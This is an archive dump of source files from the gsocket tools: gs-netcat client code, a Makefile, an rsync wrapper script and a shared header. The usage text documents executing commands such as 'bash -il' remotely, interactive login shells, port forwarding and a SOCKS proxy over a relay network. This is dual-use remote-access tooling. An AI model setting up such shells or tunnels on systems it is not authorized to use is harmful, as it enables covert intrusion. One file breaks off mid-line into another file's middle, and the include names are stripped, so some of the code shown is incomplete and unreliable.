GS_listen_add_gs_select(gopt.gsocket, &ctx, cb_listen, gopt.gsocket, 0);
if (gopt.is_internal)
{
GS_SELECT_add_cb_r(&ctx, cb_read_stdin, STDIN_FILENO, NULL, 0);
XFD_SET(STDIN_FILENO, ctx.rfd);
}
while (1)
{
n = GS_select(&ctx);
GS_heartbeat(gopt.gsocket);
if (n < 0)
break;
}
ERREXIT("NOT REACHED\n");
}
/********************** CLIENT *************************************/
/*
* CLIENT
*/
static int
cb_connect_client(GS_SELECT_CTX *ctx, int fd_notused, void *arg, int val)
{
struct _peer *p = (struct _peer *)arg;
GS *gs = p->gs;
int ret;
ret = GS_connect(gs);
DEBUGF_M("GS_connect(fd=%d) == %d\n", gs->fd, ret);
if (ret == GS_ERR_FATAL)
{
GS_LOG_TSP(p, "%s\n", GS_strerror(gs));
if (gopt.is_multi_peer == 0)
{
if (gs->status_code == GS_STATUS_CODE_CONNREFUSED)
exit(EX_CONNREFUSED); // Used by deploy.sh to verify that server is responding.
exit(EX_FATAL);
}
/* This can happen if server accepts 1 connection only but client
* wants to open multiple. All but the 1st connection will fail. We shall
* not exit but keep the 1 connection alive.
* ./gs-netcat -l
* ./gs-netcat -p 1080
* -> Connection 2x to 127.1:1080 should keep 1st connection alive and 2nd
* should (gracefully) fail.
*/
DEBUGF("peer free %s\n", __func__);
peer_free(ctx, p);
return GS_SUCCESS;
}
if (ret == GS_ERR_WAITING)
return GS_ECALLAGAIN;
DEBUGF_M("*** GS_connect() SUCCESS ***** %d %d %d\n", gs->fd, p->fd_in, p->fd_out);
/* HERE: Connection successfully established */
/* Start reading from Network (SRP is handled by GS_read()/GS_write()) */
GS_SELECT_add_cb(ctx, cb_read_gs, cb_write_gs, gs->fd, p, 0);
/* Start reading from STDIN or inbound TCP */
GS_SELECT_add_cb_r(ctx, cb_read_fd, p->fd_in, p, 0);
GS_SELECT_add_cb_w(ctx, cb_write_fd, p->fd_out, p, 0);
XFD_SET(p->fd_in, ctx->rfd); /* Start reading */
p->is_fd_connected = 1;
/* -i specified and we are a client: Set TTY to raw for a real shell
* experience. Ignore this for this example.
*/
// if ((p->is_stdin_forward) && (gopt.is_interactive))
// {
// /* HERE: Client */
// DEBUGF_M("Setting tty\n");
// XASSERT(p->fd_in == STDIN_FILENO, "p->fd_in = %d, not STDIN\n", p->fd_in);
// stty_set_raw();
// // stty_set_remote_size(ctx, p);
// }
if (gopt.is_interactive)
{
// pkt_app_send_wsize(ctx, p, gopt.winsize.ws_row);
gopt.is_win_resized = 1; // Trigger: Send new window size to peer
GS_SELECT_FD_SET_W(p->gs);
GS_PKT_assign_msg(&p->pkt, PKT_MSG_PONG, pkt_app_cb_pong, p);
GS_PKT_assign_msg(&p->pkt, PKT_MSG_LOG, pkt_app_cb_log, p);
GS_PKT_assign_chn(&p->pkt, GS_CHN_PWD, pkt_app_cb_pwdreply, p); // Channel
GS_FTM_init(p, 0 /*client*/);
}
return GS_SUCCESS;
}
/*
* Client
*/
static struct _peer *
gs_and_peer_connect(GS_SELECT_CTX *ctx, GS *gs, int fd_in, int fd_out)
{
int ret;
struct _peer *p;
ret = GS_connect(gs); // First call always returns -1 (waiting)
XASSERT(ret == GS_ERR_WAITING, "ERROR GS_connect() == %d\n", ret);
DEBUGF_B("GS_connect(GS->fd = %d)\n", GS_get_fd(gs));
p = peer_new_init(gs);
p->fd_in = fd_in;
p->fd_out = fd_out;
GS_SELECT_add_cb(ctx, cb_connect_client, cb_connect_client, GS_get_fd(gs), p, 0);
return p;
}
/*
* Client accepting incoming TCP connection to be forwarded to GS
*/
static int
cb_accept(GS_SELECT_CTX *ctx, int listen_fd, void *arg, int val)
{
int fd = -1;
GS *gs;
struct _peer *p;
if (gopt.is_udp)
{
// Accepting a UDP socket is done by calling connect().
// If successfull the re-create the listen_fd.
int rv;
fd = listen_fd;
// Find out IP of UDP-peer
struct sockaddr_in addr;
memset(&addr, 0, sizeof addr);
addr.sin_family = PF_INET;
socklen_t len = sizeof addr;
rv = recvfrom(fd, NULL, 0, MSG_PEEK, (struct sockaddr *)&addr, &len);
if (rv != 0)
return GS_SUCCESS;
// Restrict socket to only receive from this UDP-peer (with connect())
DEBUGF_W("UDP from %s:%d\n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));
rv = connect(fd, (struct sockaddr *)&addr, len);
if (rv != 0)
DEBUGF_R("rv=%d, %s\n", rv, strerror(errno));
DEBUGF_G("New UDP connection RECEIVED (fd = %d)\n", fd);
// Delete old 'cb_accept' callback because this now is a connected UDP socket.
GS_SELECT_del_cb(ctx, fd);
// Stop reading from UDP until GSRN is connected.
FD_CLR(fd, ctx->rfd);
// Create new UDP listening socket
gopt.listen_fd = fd_new_socket(SOCK_DGRAM);
if (gopt.listen_fd < 0)
return GS_SUCCESS;
rv = fd_net_listen(gopt.listen_fd, &gopt.port, SOCK_DGRAM);
if (rv < 0)
return GS_SUCCESS;
GS_SELECT_add_cb(ctx, cb_accept, cb_accept, gopt.listen_fd, NULL, 0);
XFD_SET(gopt.listen_fd, ctx->rfd); // Listen for new UDP conns (again)
} else {
fd = fd_net_accept(listen_fd);
if (fd < 0)
return GS_SUCCESS;
DEBUGF_G("New TCP connection RECEIVED (fd = %d)\n", fd);
}
/* Create a new GS and call GS_connect() */
gs = gs_create(); /* Create a new GS */
p = gs_and_peer_connect(ctx, gs, fd, fd); /* in/out fd's are identical for TCP */
p->is_network_forward = 1;
struct sockaddr_in addr;
memset(&addr, 0, sizeof addr);
socklen_t len = sizeof addr;
getpeername(fd, (struct sockaddr *)&addr, &len);
GS_LOG_TSP(p, "New Connection from %s:%d\n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));
return GS_SUCCESS;
}
static void
do_client(void)
{
GS_SELECT_CTX ctx;
struct _peer *p;
GS_SELECT_CTX_init(&ctx, &gopt.rfd, &gopt.wfd, &gopt.r, &gopt.w, &gopt.tv_now, GS_SEC_TO_USEC(1));
/* Tell GS_CTX subsystem to use GS-SELECT */
GS_CTX_use_gselect(&gopt.gs_ctx, &ctx);
if (gopt.is_multi_peer == 0)
{
/* Read/Write from STDIN/STDOUT. No TCP. */
/* STDIN can be blocking */
p = gs_and_peer_connect(&ctx, gopt.gsocket, STDIN_FILENO, STDOUT_FILENO);
p->is_stdin_forward = 1;
} else {
if (gopt.is_internal)
{
GS_SELECT_add_cb_r(&ctx, cb_read_stdin, STDIN_FILENO, NULL, 0);
XFD_SET(STDIN_FILENO, ctx.rfd);
}
GS_SELECT_add_cb(&ctx, cb_accept, cb_accept, gopt.listen_fd, NULL, 0);
XFD_SET(gopt.listen_fd, ctx.rfd); /* listening socket */
}
int n;
while (1)
{
n = GS_select(&ctx);
GS_heartbeat(gopt.gsocket);
if (n < 0)
break;
}
ERREXIT("NOT REACHED\n");
}
static void
my_usage(void)
{
fprintf(stderr, ""
"gs-netcat [-lwiC] [-e cmd] [-p port] [-d ip]\n"
"");
usage("skrlSgvqwCTL");
fprintf(stderr, ""
" -S Act as a SOCKS server [needs -l]\n"
" -D Daemon & Watchdog mode [background]\n"
" -d IPv4 address for port forwarding\n"
" -p Port to listen on or forward to\n"
" -u Use UDP [requires -p]\n"
" -i Interactive login shell (TTY) [Ctrl-e q to terminate]\n"
" -e Execute command [e.g. \"bash -il\" or \"id\"]\n"
" -m Display man page\n"
" "
"\n"
"Example to forward traffic from port 2222 to 192.168.6.7:22:\n"
" $ gs-netcat -l -d 192.168.6.7 -p 22 # Server\n"
" $ gs-netcat -p 2222 # Client\n"
"Example to act as a SOCKS proxy\n"
" $ gs-netcat -l -S # Server\n"
" $ gs-netcat -p 1080 # Client\n"
"Example file transfer:\n"
" $ gs-netcat -l -r >warez.tar.gz # Server\n"
" $ gs-netcat
#include
#include
#include
#include
#include
#ifndef cap_rights_t
typedef struct cap_rights cap_rights_t;
#endif
#include
chdir("/tmp");
char *wd = NULL;
struct procstat *procstat;
struct kinfo_proc *kipp;
struct filestat_list *head;
struct filestat *fst;
pid_t pid;
unsigned int cnt;
procstat = procstat_open_sysctl();
if (procstat == NULL)
goto done;
pid = getppid();
kipp = procstat_getprocs(procstat, KERN_PROC_PID, pid, &cnt);
if ((kipp == NULL) || (cnt <= 0))
goto done;
head = procstat_getfiles(procstat, kipp, 0);
if (head == NULL)
goto done;
STAILQ_FOREACH(fst, head, next)
{
if (!(fst->fs_uflags & PS_FST_UFLAG_CDIR))
continue;
if (fst->fs_path == NULL)
continue;
wd = strdup(fst->fs_path);
break;
printf("cwd %-18s\n", fst->fs_path != NULL ? fst->fs_path : "-");
}
procstat_freefiles(procstat, head);
done:
printf("wd='%s'\n", wd);
#endif
exit(0);
}
#endif
// static void
// my_test(void)
// {
// struct _gs_portrange_list ports;
// DEBUGF("MARK\n");
// GS_portrange_new(&ports, getenv("GS_HIJACK_PORTS"));
// DEBUGF("MARK\n");
// exit(0);
// }
// static void
// my_test(void)
// {
// char buf[56];
// ssize_t n;
// char res[2];
// while (1)
// {
// n = read(0, buf, sizeof buf);
// DEBUGF("read %zd\n", n);
// if (n <= 0)
// exit(0);
// GS_sanitize_logmsg(buf, sizeof buf);
// printf("%s\n", buf);
// }
// }
int
main(int argc, char *argv[])
{
// my_test();
init_defaults(&argc, &argv);
my_getopt(argc, argv);
if (gopt.flags & GSC_FL_IS_SERVER)
do_server();
else
do_client();
exit(EX_NOTREACHED);
return -1; /* NOT REACHED */
}
gsocket-1.4.33/tools/Makefile.am 0000775 0000000 0000000 00000006677 14072625040 0016460 0 ustar 00root root 0000000 0000000 # test with
# make install DESTDIR=/tmp/installer
noinst_PROGRAMS = gs-helloworld gs-pipe gs-full-pipe @PROGRAMS_TEST_TOOLS@
EXTRA_PROGRAMS = packet-test readline-test console_display-test filetransfer-test
bin_PROGRAMS = gs-netcat
EXTRA_DIST = gsocket.conf.in
noinst_PROGRAMS += gsocket_dso.so.0 gsocket_uchroot_dso.so.0
# https://www.gnu.org/software/automake/manual/automake.html says that
# it should default to '${prefix}/etc' and not '/etc' and that the installer
# will have to set '--sysconfdir=/etc' to change the default behaviour.
gsocket_confdir = $(sysconfdir)
gsocket_conf_DATA = gsocket.conf
gs_funcsdir = $(datarootdir)/gsocket
dist_gs_funcs_DATA = gs_funcs
# lib_LIBRARIES = gsocket_dso.so gsocket_uchroot_dso.so # ERROR: This will generate static libs..
# lib_LTLIBRARIES = gsocket_dso.so gsocket_uchroot_dso.so
# LT_INIT([disable-static]) has no effect. It insists to generate shared
# and static libs (which wont work because those are DSO's on OSX).
# So we must use noinst_PROGRAMS and an install-hook
gs_helloworld_SOURCES = 1_gs-helloworld.c utils.c gsocket_dso-lib.c
gs_helloworld_LDADD = ../lib/libgsocket.a @LDADD_STATIC@
gs_helloworld_CFLAGS = @CFLAGS_STATIC@
gs_pipe_SOURCES = 2_gs-pipe.c utils.c gsocket_dso-lib.c
gs_pipe_LDADD = ../lib/libgsocket.a @LDADD_STATIC@
gs_pipe_CFLAGS = @CFLAGS_STATIC@
gs_full_pipe_SOURCES = 3_gs-full-pipe.c utils.c gsocket_dso-lib.c
gs_full_pipe_LDADD = ../lib/libgsocket.a @LDADD_STATIC@
gs_ful_pipe_CFLAGS = @CFLAGS_STATIC@
gs_netcat_SOURCES = 4_gs-netcat.c utils.c socks.c console.c ids.c event_mgr.c pkt_mgr.c console_display.c filetransfer.c globbing.c filetransfer_mgr.c gsocket_dso-lib.c
gs_netcat_LDADD = ../lib/libgsocket.a @LDADD_STATIC@
gs_netcat_CFLAGS = @CFLAGS_STATIC@
dist_bin_SCRIPTS = blitz gs-sftp gs-mount gsocket
gsocket_uchroot_dso_so_0_SOURCES = gsocket_uchroot_dso.c
gsocket_uchroot_dso_so_0_CFLAGS = -shared -fPIC
gsocket_uchroot_dso_so_0_LDFLAGS = -ldl @SONAME_GSOCKET_UCHROOT_DSO@
gsocket_dso_so_0_SOURCES = gsocket_dso.c gsocket_dso-lib.c
gsocket_dso_so_0_CFLAGS = -shared -fPIC
gsocket_dso_so_0_LDADD = @LDADD_STATIC@
gsocket_dso_so_0_LDFLAGS = -ldl @SONAME_GSOCKET_DSO@
install-exec-hook:
-rm -f $(DESTDIR)$(bindir)/gs_funcs # Old gs installed this here. Remove it now.
$(install_sh) -d $(DESTDIR)$(libdir)
$(install_sh) -c -m @PERM_DSO@ gsocket_dso.so.0 gsocket_uchroot_dso.so.0 $(DESTDIR)$(libdir)
ln -sf gsocket_dso.so.0$(EXEEXT) $(DESTDIR)$(libdir)/gsocket_dso.so$(EXEEXT)
ln -sf gsocket_uchroot_dso.so.0$(EXEEXT) $(DESTDIR)$(libdir)/gsocket_uchroot_dso.so$(EXEEXT)
uninstall-hook:
-rm -f $(DESTDIR)$(libdir)/gsocket_dso.so.0$(EXEEXT)
-rm -f $(DESTDIR)$(libdir)/gsocket_dso.so$(EXEEXT)
-rm -f $(DESTDIR)$(libdir)/gsocket_uchroot_dso.so.0$(EXEEXT)
-rm -f $(DESTDIR)$(libdir)/gsocket_uchroot_dso.so$(EXEEXT)
packet_test_SOURCES = packet-test.c utils.c gsocket_dso-lib.c
packet_test_LDADD = ../lib/libgsocket.a
readline_test_SOURCES = readline-test.c utils.c gsocket_dso-lib.c
readline_test_LDADD = ../lib/libgsocket.a
console_display_test_SOURCES = console_display.c console_display-test.c utils.c gsocket_dso-lib.c
console_display_test_LDADD = ../lib/libgsocket.a
filetransfer_test_SOURCES = filetransfer.c filetransfer-test.c utils.c gsocket_dso-lib.c globbing.c
filetransfer_test_LDADD = ../lib/libgsocket.a
noinst_HEADERS = common.h utils.h socks.h console.h ids.h event_mgr.h pkt_mgr.h gs-netcat.h console_display.h filetransfer.h man_gs-netcat.h globbing.h filetransfer_mgr.h gsocket_dso-lib.h
gsocket-1.4.33/tools/blitz 0000775 0000000 0000000 00000013321 14072625040 0015453 0 ustar 00root root 0000000 0000000 #!/usr/bin/env bash
# A wrapper script to do this (esentially):
# Server:
# $ gs-netcat -s MySecret -l -e "/usr/bin/rsync --server -vlogDtpr --partial ."
# Client:
# $ rsync -aP -e "gs-netcat -s MySecret --" test4k.dat 127.1:.
GS_NETCAT_BIN="gs-netcat"
RSYNC_SERVER_DEFAULTS="--server -logtprR --safe-links --partial"
# -D special devices
# -g preserver group (may need root)
# -p preserve permissions
# -r recursive into directories
# -R use relative path names
# If client uses '-a' then server must use '-g'
# If client uses '-R' then server must use '-R'
# RSYNC_SERVER_DEFAULTS="--server -lotpr --partial"
# RSYNC_SERVER_DEFAULTS="--server -lotpr --partial"
# RSYNC_SERVER_DEFAULTS="--server -logDtprRe.iLsfxCIvu --partial"
RSYNC_CLIENT_DEFAULTS="-ahPRv"
# Try to use the gs-netcat that's in the same path as this binary first.
BIN="$(cd "$(dirname "${0}")" || exit; pwd)/${GS_NETCAT_BIN}"
[[ -f "${BIN}" ]] && GS_NETCAT_BIN="${BIN}"
command -v "${GS_NETCAT_BIN}" >/dev/null 2>&1 || { echo >&2 "${GS_NETCAT_BIN} not found. Check PATH=?"; exit 1; }
command -v rsync >/dev/null 2>&1 || { echo >&2 "rsync not found. Try 'apt-get install rsync' or check PATH=?"; exit 1; }
usage()
{
echo "blitz [-k file] [-s password] [-l] [FILES ...]
-l Server Mode.
-s Secret (e.g. password).
-k Read Secret from file.
-f Read list of file names from FILE [or - for stdin]
-o RSOPT=val Options passed to rsync.
Example:
$ blitz -s MySecret -l # Server
$ blitz -s MySecret *.dat # Client
...limiting transfer rate to 10kB/sec
$ blitz -s MySecret -o 'RSOPT=--bwlimit=10 -v' /etc/*.conf *.dat
...reading the file list from standard-in
$ cd /etc
$ find . -name '*.mp3' | blitz -s MySecret -f -
...limit the amount of path information by inserting a dot and slash
$ blitz -s MySecret ~/tools/./upx/mp3
See 'man gs-netcat' and 'man rsync' for more options."
exit 0
}
read_password()
{
printf >&2 "Enter Secret (or press Enter to generate): "
read -r password
if [[ -z "${password}" ]]; then
password=$(${GS_NETCAT_BIN} -g)
fi
echo "${password}" | tr -d "[:space:]"
}
# remove -o from parameter list.
# Remove -s/-k from parameter list
# Copy all other
OPTERR=0
FL_NEED_PASSWORD=1
# Check if -s or -k is already supplied in environment and dont ask again.
[[ "$GSOCKET_ARGS" =~ ^'-s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ^'-k' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -k' ]] && unset FL_NEED_PASSWORD
# Current options are options for gs-netcat followed by a list of files. We
# need to split off the gs-netcat options (all but -o/-s/-k) without the
# files. To do so we need to know which gs-netcat options takes an argument
# at add those to getopts's optstring (such as -L ).
# These are caught by '*'.
# All single options (e.g. -w etc) are caught by '\?'.
# shellcheck disable=SC2220 # Invalid flags are not handled. Add a *) case.
while getopts ":hgls:k:o:L:f:" opt; do
case ${opt} in
o )
RSYNC_ARGS+=${OPTARG//RSOPT=/}
RSYNC_ARGS+=" "
;;
s )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$OPTARG" # Add to end of array
unset FL_NEED_PASSWORD
;;
k )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-k" # Add to end of array
KFILE=$(cd "$(dirname "$OPTARG")" && pwd)/$(basename "$OPTARG")
[[ -f "${KFILE}" ]] || { echo >&2 "File not found: ${KFILE}"; exit 255; }
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="${KFILE}" # Add to end of array
unset FL_NEED_PASSWORD
;;
g )
"${GS_NETCAT_BIN}" -g
exit
;;
h )
usage
;;
f )
RSYNC_ARGS+="--files-from=${OPTARG} . "
IS_FILES_FROM=1
;;
l )
IS_SERVER=1
ARGS_NEW[${#ARGS_NEW[@]}]="-l" # Add to end of array
;;
\? )
# UNKNOWN option. Handle before '*' (e.g. -l)
ARGS_NEW[${#ARGS_NEW[@]}]="-${OPTARG}" # Add to end of array
;;
* )
# Other (known opts from opstring) w parameters (e.g. -L )
ARGS_NEW[${#ARGS_NEW[@]}]="-${opt}" # Add to end of array
ARGS_NEW[${#ARGS_NEW[@]}]="${OPTARG}" # Add to end of array
;;
esac
done
if [[ -z ${IS_SERVER} ]]; then
# CLIENT
shift $((OPTIND -1)) # list of files...
# echo "Remaining (files): $*"
[[ -z $* ]] && [[ -z $IS_FILES_FROM ]] && { echo >&2 "ERROR: No files specified."; usage; }
[[ -n $* ]] && [[ -n $IS_FILES_FROM ]] && { echo >&2 "ERROR: Either -f FILE or FILES, but not both."; usage; }
fi
# Prepare existing GSOCKET_ARGS to take more arguments if there are any
[[ -n "$GSOCKET_ARGS" ]] && GSOCKET_ARGS+=" "
# Must read here unless -s/-k was used
if [[ -n "$FL_NEED_PASSWORD" ]]; then
password=$(read_password)
echo "=Secret :\"${password}\""
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$password" # Add to end of array
fi
echo "=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)"
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
# echo $OPTIND
# echo args-new : ${ARGS_NEW[@]}
# echo gsnc-env-args : \'${GSNC_ENV_ARGS[@]}\'
# echo rsync-args : ${RSYNC_ARGS}
if [[ -n ${IS_SERVER} ]]; then
# SERVER
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" exec "${GS_NETCAT_BIN}" "${ARGS_NEW[@]}" -e "rsync ${RSYNC_SERVER_DEFAULTS} ${RSYNC_ARGS} ."
else
# CLIENT
ARGS=" -q"
# ARGS=""
[[ -n ${ARGS_NEW[*]} ]] && ARGS+=" ${ARGS_NEW[*]}"
# shellcheck disable=SC2086 # Double quote to prevent globbing and word splitting. ${RSYNC_ARGS} -> We want word splitting for multiple arugments.
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" exec rsync ${RSYNC_CLIENT_DEFAULTS} -e "${GS_NETCAT_BIN}${ARGS} --" ${RSYNC_ARGS} "${@}" 127.1:.
fi
gsocket-1.4.33/tools/common.h 0000664 0000000 0000000 00000024415 14072625040 0016050 0 ustar 00root root 0000000 0000000
#ifndef __GST_COMMON_H__
#define __GST_COMMON_H__ 1
#ifdef HAVE_CONFIG_H
# include
#endif
#include
#include
#include
#include
#include
#include
#ifdef HAVE_SYS_LOADAVG_H
# include // Solaris11
#endif
#ifdef HAVE_SYS_ENDIAN_H
# include
#endif
#include
#ifdef HAVE_NETINET_IN_SYSTM_H
# include
#endif
#include
#include
#include
#include
#include
#include
#include
#ifdef HAVE_UNISTD_H
# include
#endif
#ifdef HAVE_FNMATCH_H
#include
#endif
#include
#include
#include // Solaris11
#include
#include
#include
#include
#include
#include
#include /* basename() */
#include
#include
#include
#ifdef HAVE_UTMPX_H
# include
#endif
#ifdef HAVE_UTMP_H
# include
#endif
#ifdef HAVE_LIBUTIL_H
# include /* FreeBSD */
#endif
#ifdef HAVE_PTY_H
# include
#endif
#ifdef HAVE_UTIL_H
# include /* MacOS */
#endif
#if defined __sun || defined __hpux /* Solaris, HP-UX */
# include
#endif
#include
#include
#include
#include
#include
#include "filetransfer.h"
#ifdef __sun
# ifdef HAVE_OPEN64
# define IS_SOL10 1 // Solaris 10
# else
# define IS_SOL11 1 // Solaris 11
# endif
# define IS_SOLARIS 1
#endif
#ifndef O_NOCTTY
# warning "O_NOCTTY not defined. Using 0."
# define O_NOCTTY 0
#endif
// Older fbsd's dont have this defined
#ifndef UT_NAMESIZE
# define UT_NAMESIZE 32
#endif
// debian-hurd does not define PATH_MAX (and has no limit on filename length)
#ifndef PATH_MAX
# define GS_PATH_MAX 4096
#else
# define GS_PATH_MAX PATH_MAX
#endif
#if defined(__sun)
# if !defined(be64toh) // Solaris11
# define be64toh(x) ntohll(x)
# define htobe64(x) htonll(x)
# endif
# if !defined(htonll) // Solaris10
# if __BIG_ENDIAN__
# define htonll(x) (x)
# define ntohll(x) (x)
# else
# define htonll(x) ((uint64_t)htonl((x) & 0xFFFFFFFF) << 32) | htonl((uint64_t)(x) >> 32)
# define ntohll(x) ((uint64_t)ntohl((x) & 0xFFFFFFFF) << 32) | ntohl((uint64_t)(x) >> 32)
# endif
# endif
#endif
#ifndef htonll
# define htonll(x) htobe64(x)
#endif
#ifndef ntohll
# define ntohll(x) be64toh(x)
#endif
struct _gopt
{
GS_CTX gs_ctx;
GS *gsocket; /* Listening gsocket */
FILE *log_fp;
FILE *err_fp;
int verbosity; // verbosity level (-v => 1, -vv => 2 etc)
int flags;
int verboselevel;
const char *sec_str;
const char *sec_file;
GS_ADDR gs_addr;
char *token_str;
int is_sock_wait;
int is_client_or_server;
int is_no_encryption;
int is_blocking;
int is_interactive; /* PTY interactive shell? */
int is_receive_only;
int is_use_tor;
int is_socks_server; /* -S flag */
int is_multi_peer; /* -p / -S / -d [client & server] */
int is_daemon;
int is_watchdog; // Never die but die if stdin closes
int is_logfile;
int is_quiet;
int is_win_resized; // window size changed (signal)
int is_console; // console is being displayed
int is_pong_pending; // Server: Answer to PING waiting to be send
int is_want_ping; // Client: Wants to send a ping
int is_want_pwd; // Client: Wants server to send cwd
int is_pwdreply_pending; // Server: Answer to pwd-request
int is_want_chdir;
int is_want_ids_on;
int is_want_authcookie;
int is_send_authcookie;
int is_internal; // -I flag
int is_udp; // Port forwarding only. GSRN is always TCP.
uint64_t ts_ping_sent; // TimeStamp ping sent
fd_set rfd, r;
fd_set wfd, w;
struct timeval tv_now;
const char *cmd;
uint32_t dst_ip; /* NBO */
uint16_t port; /* NBO */
int listen_fd;
struct winsize winsize;
struct winsize winsize_prev;
int row_total; // Rows including console
int peer_count;
int peer_id_counter;
GS_EVENT event_ping;
GS_EVENT event_bps;
GS_EVENT *event_ids;
GS_LIST ids_peers;
char *ids_active_user;
int ids_idle;
int n_users; // Number of unique logged in users (from utmp)
};
#define EX_EXECFAILED 248
#define EX_NOTREACHED 249
#define EX_BADWRITE 250 // write() failed
#define EX_UNKNWNCMD 251 // Unknown command line parameter
#define EX_BADSELECT 253
#define EX_SIGTERM 254
#define EX_FATAL 255
#define EX_CONNREFUSED 61 // Used by deploy.sh to verify that server is responding
struct _socks
{
uint32_t dst_ip;
uint16_t dst_port;
char dst_hostname[256]; // dst host name.
int state;
};
#define GSNC_STATE_AWAITING_MSG_AUTH (0x01)
#define GSNC_STATE_AWAITING_MSG_CONNECT (0x02)
#define GSNC_STATE_RESOLVING_DN (0x03)
#define GSNC_STATE_CONNECTING (0x04)
#define GSNC_STATE_CONNECTED (0x05)
/* gs-netcat peers */
struct _peer
{
/* A peer is connected to a gsocket and the a cmd_fd */
GS *gs;
int fd_in;
int fd_out; /* Same as fd_in unless client reads from stdin/stdout */
uint8_t rbuf[2048]; /* from GS, to fd */
size_t r_max;
ssize_t rlen;
uint8_t wbuf[2048]; /* from fd, to GS */
size_t w_max;
ssize_t wlen;
uint8_t pbuf[2048]; /* for pkt-encode/decode */
int is_network_forward;
int is_stdin_forward;
int is_app_forward;
int is_fd_connected;
int is_pty_first_read; /* send stty hack */
int is_stty_set_raw; /* Client only */
int is_received_gs_eof; // EOF from GSRN
/* For Statistics */
int id; /* Stats: assign an ID to each pere */
struct _socks socks;
GS_PKT pkt; // In-band data for interactive shell (-i)
GS_FT ft; // Filetransfer (-i)
GS_LIST logs; // Queue for log messages from Server to Client (-i)
int is_pending_logs; // Log files need to be send to peer.
GS_LIST_ITEM *ids_li; // Peer is interested in global IDS logs
pid_t pid;
uint64_t ts_peer_io; // TimeStamp of last peer I/O (e.g. UDP, stdin, ...)
GS_BUF udp_buf; // UDP un-stacker (for -u)
GS_EVENT event_peer_timeout;
};
#define GSC_FL_IS_SERVER (0x01)
extern struct _gopt gopt; // declared in utils.c
#define xfprintf(fp, a...) do {if (fp != NULL) { fprintf(fp, a); fflush(fp); } } while (0)
#define int_ntoa(x) inet_ntoa(*((struct in_addr *)&x))
#ifndef MAX
# define MAX(X, Y) (((X) < (Y)) ? (Y) : (X))
#endif
#ifndef MIN
# define MIN(X, Y) (((X) < (Y)) ? (X) : (Y))
#endif
#define D_RED(a) "\033[0;31m"a"\033[0m"
#define D_GRE(a) "\033[0;32m"a"\033[0m"
#define D_YEL(a) "\033[0;33m"a"\033[0m"
#define D_BLU(a) "\033[0;34m"a"\033[0m"
#define D_MAG(a) "\033[0;35m"a"\033[0m"
#define D_BRED(a) "\033[1;31m"a"\033[0m"
#define D_BGRE(a) "\033[1;32m"a"\033[0m"
#define D_BYEL(a) "\033[1;33m"a"\033[0m"
#define D_BBLU(a) "\033[1;34m"a"\033[0m"
#define D_BMAG(a) "\033[1;35m"a"\033[0m"
#ifdef DEBUG
struct _g_debug_ctx
{
struct timeval tv_last;
struct timeval tv_now;
};
extern struct _g_debug_ctx g_dbg_ctx; // declared in utils.c
#define DEBUGF_T(xcolor, a...) do { \
gettimeofday(&g_dbg_ctx.tv_now, NULL); \
if (g_dbg_ctx.tv_last.tv_sec == 0) { memcpy(&g_dbg_ctx.tv_last, &g_dbg_ctx.tv_now, sizeof g_dbg_ctx.tv_last); } \
xfprintf(gopt.err_fp, "DEBUG %4"PRIu64" %s:%d %s", GS_TV_TO_MSEC(&g_dbg_ctx.tv_now) - GS_TV_TO_MSEC(&g_dbg_ctx.tv_last), __func__, __LINE__, xcolor?xcolor:""); \
memcpy(&g_dbg_ctx.tv_last, &g_dbg_ctx.tv_now, sizeof g_dbg_ctx.tv_last); \
xfprintf(gopt.err_fp, a); \
if (xcolor) { xfprintf(gopt.err_fp, "\033[0m"); } \
} while (0)
# define DEBUGF(a...) do{DEBUGF_T(NULL, a); } while(0)
# define DEBUGF_R(a...) do{DEBUGF_T("\033[1;31m", a); } while(0)
# define DEBUGF_G(a...) do{DEBUGF_T("\033[1;32m", a); } while(0)
# define DEBUGF_B(a...) do{DEBUGF_T("\033[1;34m", a); } while(0)
# define DEBUGF_Y(a...) do{DEBUGF_T("\033[1;33m", a); } while(0)
# define DEBUGF_M(a...) do{DEBUGF_T("\033[1;35m", a); } while(0)
# define DEBUGF_C(a...) do{DEBUGF_T("\033[1;36m", a); } while(0)
# define DEBUGF_W(a...) do{DEBUGF_T("\033[1;37m", a); } while(0)
#else // DEBUG
# define DEBUGF(a...)
# define DEBUGF_R(a...)
# define DEBUGF_G(a...)
# define DEBUGF_B(a...)
# define DEBUGF_Y(a...)
# define DEBUGF_M(a...)
# define DEBUGF_C(a...)
# define DEBUGF_W(a...)
# define DEBUGF_A(a...)
#endif
// Increase ptr by number of characters added to ptr.
#define SXPRINTF(ptr, len, a...) do {\
size_t n = snprintf(ptr, len, a); \
ptr += MIN(n, len); \
} while(0)
// Overcome GCC warning for truncation. Abort() if truncation happen.
#define SNPRINTF_ABORT(...) (snprintf(__VA_ARGS__) < 0 ? abort() : (void)0)
#define VOUT(level, a...) do { \
if (level > gopt.verboselevel) \
break; \
xfprintf(gopt.out, a); \
fflush(gopt.out); \
} while (0)
#define XFREE(ptr) do{if(ptr) free(ptr); ptr = NULL;}while(0)
#ifdef DEBUG
# define ERREXIT(a...) do { \
xfprintf(gopt.err_fp, "ERROR "); \
xfprintf(gopt.err_fp, "%s():%d ", __func__, __LINE__); \
xfprintf(gopt.err_fp, a); \
exit(255); \
} while (0)
#else
# define ERREXIT(a...) do { \
xfprintf(gopt.err_fp, "ERROR: "); \
xfprintf(gopt.err_fp, a); \
exit(255); \
} while (0)
#endif
